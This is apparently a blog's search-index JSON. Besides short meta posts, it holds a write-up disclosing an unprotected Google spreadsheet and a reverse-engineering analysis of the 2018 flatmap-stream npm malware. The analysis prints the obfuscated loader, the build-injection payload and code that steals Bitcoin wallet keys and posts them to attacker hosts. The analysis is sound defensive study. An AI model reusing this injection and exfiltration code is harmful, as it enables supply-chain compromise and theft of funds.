[{"content":"This site now runs on Hugo with the Blowfish theme, replacing the hand-written page that lived here before.\nThe old page is not gone, only unpublished — it survives in this repository\u0026rsquo;s git history.\nMore soon.\n","date":"19 August 2026","externalUrl":null,"permalink":"/posts/hello-world/","section":"Posts","summary":"This site now runs on Hugo with the Blowfish theme, replacing the hand-written page that lived here before.\nThe old page is not gone, only unpublished — it survives in this repository’s git history.\n","title":"Hello World","type":"posts"},{"content":"","date":"19 August 2026","externalUrl":null,"permalink":"/tags/meta/","section":"Tags","summary":"","title":"Meta","type":"tags"},{"content":"","date":"19 August 2026","externalUrl":null,"permalink":"/","section":"Patrick Owens","summary":"","title":"Patrick Owens","type":"page"},{"content":"Writing about software, radio, and the occasional dice roll. Everything here is in reverse chronological order; the tags page slices it by topic instead.\n","date":"19 August 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"Writing about software, radio, and the occasional dice roll. Everything here is in reverse chronological order; the tags page slices it by topic instead.\n","title":"Posts","type":"posts"},{"content":"Browse posts by topic. Each tag lists every post filed under it — or start from the full archive on the posts page.\n","date":"19 August 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"Browse posts by topic. Each tag lists every post filed under it — or start from the full archive on the posts page.\n","title":"Tags","type":"tags"},{"content":"A few months ago, I made a few pieces of pottery through a make-your-own-pottery local business. As part of the clay-making process, customers need to wait for some time for their clay pieces to dry before they\u0026rsquo;re able to be painted. The business needs to inform customers when their pieces are ready to be painted and picked up after painted.\nThis business maintains a Google spreadsheet to inform customers when their dried clay is ready to be painted.\nWhile checking to see if my clay items were ready to be painted, I noticed that intriguing =importrange(…) in the first cell of the document. I was curious what was in this other Google spreadsheet. So like most curious people, I just had to open this new spreadsheet.\nand… I\u0026rsquo;m in # Imagine to my surprise, that not only did this spreadsheet have more information about the clay drying process, but also contained a treasure trove of sensitive information about this company. There were no privacy controls set on the document. Anyone with a Google account could view the spreadsheet.\nSome of the sensitive information available in this new spreadsheet:\nPasswords to the branch\u0026rsquo;s e-mail account, voice mail service, security cameras, and more Employee shift schedule Business procedures: cash out, inventory counts, log of damages/losses Voice mail logs, and contact information of customers who left the voice mails Some customer information: full names and phone numbers Gift card tracking, and procedures to create new gift cards Through this document, one could access their POS system, generate new gift cards, and cause all sorts of other havoc. There were also links to more, unprotected Google docs that contained more information about the company. The passwords within the spreadsheet were current and valid.\nHaving seen enough, the company was notified via e-mail, and the Google docs spreadsheet had the correct privacy settings applied to it.\nIt appears that each location of the company has their own spreadsheet like the one above. I attempted to access a couple others and the permissions were set correctly.\nTakeaways # Permission management is hard # Individually managing the permissions for what must be 50-odd documents is hard. I\u0026rsquo;ve never used Google docs at such a scale for information, but I have yet to see any sort of tool for managing permissions for large sets of documents.\nCompartmentalization # Having a single source of information for all data for a business, while convenient, lead to a zero-effort full information disclosure. Storing critical business information, like passwords, in a separate document that isn\u0026rsquo;t linked to any other document would have stopped this attack cold.\nInsecure passwords # Finally, the passwords in the spreadsheet were also very insecure, but that\u0026rsquo;s a topic for another discussion.\nDisclosure timeline # 2018/03/23 - Discovered the unprotected Google spreadsheet 2018/03/23 - Disclosed the information leak to the business 2018/03/23 - Business corrected the permission of the exposed Google spreadsheets 2019/01/14 - I decided to blog about it, because I had almost forgotten about this event until today ","date":"20 January 2019","externalUrl":null,"permalink":"/posts/google-docs-permissions/","section":"Posts","summary":"A few months ago, I made a few pieces of pottery through a make-your-own-pottery local business. As part of the clay-making process, customers need to wait for some time for their clay pieces to dry before they’re able to be painted. The business needs to inform customers when their pieces are ready to be painted and picked up after painted.\n","title":"Accidentally hacking into a business through Google Docs","type":"posts"},{"content":"","date":"20 January 2019","externalUrl":null,"permalink":"/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":"","date":"13 January 2019","externalUrl":null,"permalink":"/tags/javascript/","section":"Tags","summary":"","title":"Javascript","type":"tags"},{"content":"","date":"13 January 2019","externalUrl":null,"permalink":"/tags/reversing/","section":"Tags","summary":"","title":"Reversing","type":"tags"},{"content":" Originally published on my old site in January 2019, a couple of months after the event-stream compromise. Moved here with only typo fixes. The specific attack is long dead, but the shape of it — a dependency that decrypts its own payload using a value found only on the target machine, so it stays inert everywhere else — is worth being able to recognise. flatmap-stream was pulled in as a nested dependency of the widely used NPM library event-stream. It was discovered that the minified version of flatmap-stream had some extra, obfuscated code. Let\u0026rsquo;s reverse the code to try to figure out what exactly it is doing.\nPrettifying the code # !(function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, \u0026#39;hex\u0026#39;).toString(); } var n = r(e(\u0026#39;2e2f746573742f64617461\u0026#39;)), o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, \u0026#39;\u0026#39;), f.exports(n[1]); } catch (r) {} })(); The first thing of note is the e function, which converts hex strings. The payload for this malware is hidden within these hex strings.\nFirst string:\n\u0026gt; decode(\u0026#34;2e2f746573742f64617461\u0026#34;) \u0026#39;./test/data\u0026#39; This line imports code from the ./test/data folder, which contains 10 more hex obfuscated strings.\nmodule.exports = [ \u0026#39;...truncated...\u0026#39;, \u0026#39;...truncated...\u0026#39;, \u0026#39;63727970746f\u0026#39;, \u0026#39;656e76\u0026#39;, \u0026#39;6e706d5f7061636b6167655f6465736372697074696f6e\u0026#39;, \u0026#39;616573323536\u0026#39;, \u0026#39;6372656174654465636970686572\u0026#39;, \u0026#39;5f636f6d70696c65\u0026#39;, \u0026#39;686578\u0026#39;, \u0026#39;75746638\u0026#39;, ]; After decoding and unobfuscating the code, we get\n!(function() { try { var r = require, t = process; function decode(r) { return Buffer.from(r, \u0026#39;hex\u0026#39;).toString(); } // Get data var data = require(\u0026#39;./test/data\u0026#39;); // Get the package description, and exit early if it doesn\u0026#39;t exist var packageDescription = process.env.npm_package_description; if (!packageDescription) { return; } // Decode the first payload with the npm package description var u = require(\u0026#39;crypto\u0026#39;).createDecipher(\u0026#39;aes256\u0026#39;, packageDescription); var firstPayload = u.update(data[0], \u0026#39;hex\u0026#39;, \u0026#39;utf8\u0026#39;); firstPayload += u.final(\u0026#39;utf8\u0026#39;); // Build a new module var f = new module.constructor(); // Build a new module with the first and second payloads (f.paths = module.paths), f._compile(firstPayload, \u0026#39;\u0026#39;), f.exports(data[1]); } catch (r) {} })(); This bootstrapping script is looking for a specific module name to properly decode the payload. We could write a script to harvest npm package descriptions that have flatmap-stream in their dependency tree. However, as the target package has already been discovered, we\u0026rsquo;ll cheat. The AES256 decryption key is A Secure Bitcoin Wallet, which was/is the description of the copay package.\nThe first payload # module.exports = function(e) { try { // Exit if specific args aren\u0026#39;t in the command line if (!/build\\:.*\\-release/.test(process.argv[2])) return; // Same npm pack var packageDescription = process.env.npm_package_description, r = require(\u0026#39;fs\u0026#39;), i = \u0026#39;./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js\u0026#39;, // Get stats on ReedSolomonDecoder // Read file n = r.statSync(i), c = r.readFileSync(i, \u0026#39;utf8\u0026#39;), // Create another cipher o = require(\u0026#39;crypto\u0026#39;).createDecipher(\u0026#39;aes256\u0026#39;, packageDescription), // Decrypt s = o.update(e, \u0026#39;hex\u0026#39;, \u0026#39;utf8\u0026#39;); s = \u0026#39;\\n\u0026#39; + (s += o.final(\u0026#39;utf8\u0026#39;)); // Write the payload into ReedSolomonDecoder, and reset utimes var a = c.indexOf(\u0026#39;\\n/*@@*/\u0026#39;); 0 \u0026lt;= a \u0026amp;\u0026amp; (c = c.substr(0, a)), r.writeFileSync(i, c + s, \u0026#39;utf8\u0026#39;), r.utimesSync(i, n.atime, n.mtime), process.on(\u0026#39;exit\u0026#39;, function() { try { r.writeFileSync(i, c, \u0026#39;utf8\u0026#39;), r.utimesSync(i, n.atime, n.mtime); } catch (e) {} }); } catch (e) {} }; The first payload injects the second payload into release builds of the package.\nThe second payload # After decrypting the second payload with the key listed above, we find the meat and potatoes of the malware. Rather than posting the entire block of code, I\u0026rsquo;ll post snippets that indicate what this payload does.\nPOST to copayapi.host:8080 and 111.90.151.134:8080 with url e and payload n # postToUrl(\u0026#39;636f7061796170692e686f7374\u0026#39;, e, n), postToUrl(\u0026#39;3131312e39302e3135312e313334\u0026#39;, e, n); Look for wallet files and send the wallet data to hosts above # readFromFile(\u0026#39;profile\u0026#39;, function(e) { for (var t in e.credentials) { var n = e.credentials[t]; // If livenet is the network, look in balanceCache files \u0026#39;livenet\u0026#39; == n.network \u0026amp;\u0026amp; readFromFile( \u0026#39;balanceCache-\u0026#39; + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(\u0026#39; \u0026#39;)[0]); (\u0026#39;btc\u0026#39; == t.coin \u0026amp;\u0026amp; t.balance \u0026lt; 100) || (\u0026#39;bch\u0026#39; == t.coin \u0026amp;\u0026amp; t.balance \u0026lt; 1e3) || // Set the wallet\u0026#39;s xPubKey to a global var // POST wallet information to url:8080/c, 200 bytes at a time ((global.CSSMap[t.xPubKey] = !0), chunkAndPost(\u0026#39;c\u0026#39;, JSON.stringify(t))); }.bind(n) ); } }); Extract wallet keys and send to hosts above # var e = require(\u0026#39;bitcore-wallet-client/lib/credentials.js\u0026#39;); // Extends getKeysFunc to send all the key information // Also sends xPubKey previously set in the global var, and clears it (e.prototype.getKeysFunc = e.prototype.getKeys), (e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap \u0026amp;\u0026amp; global.CSSMap[this.xPubKey] \u0026amp;\u0026amp; (delete global.CSSMap[this.xPubKey], // POST to url:8080/p, 200 bytes at a time chunkAndPost(\u0026#39;p\u0026#39;, e + \u0026#39;\\t\u0026#39; + this.xPubKey)); } catch (e) {} return t; }); At this point, it\u0026rsquo;s fairly clear that this piece of malware steals bitcoins and bitcoin cash. This is a fairly narrow scope attack. Most users of the event-stream package weren\u0026rsquo;t even affected in the first place.\nI realize that this blog post is coming fairly late after the original incident, and most of the detective work has already been performed. However, I wanted to take my own stab at it to see if I could reverse it myself.\n","date":"13 January 2019","externalUrl":null,"permalink":"/posts/reversing-flatmap-stream/","section":"Posts","summary":"flatmap-stream was pulled in as a nested dependency of event-stream, and its minified build carried extra, obfuscated code. Let’s reverse it and figure out what it does.","title":"Reversing flatmap-stream","type":"posts"}]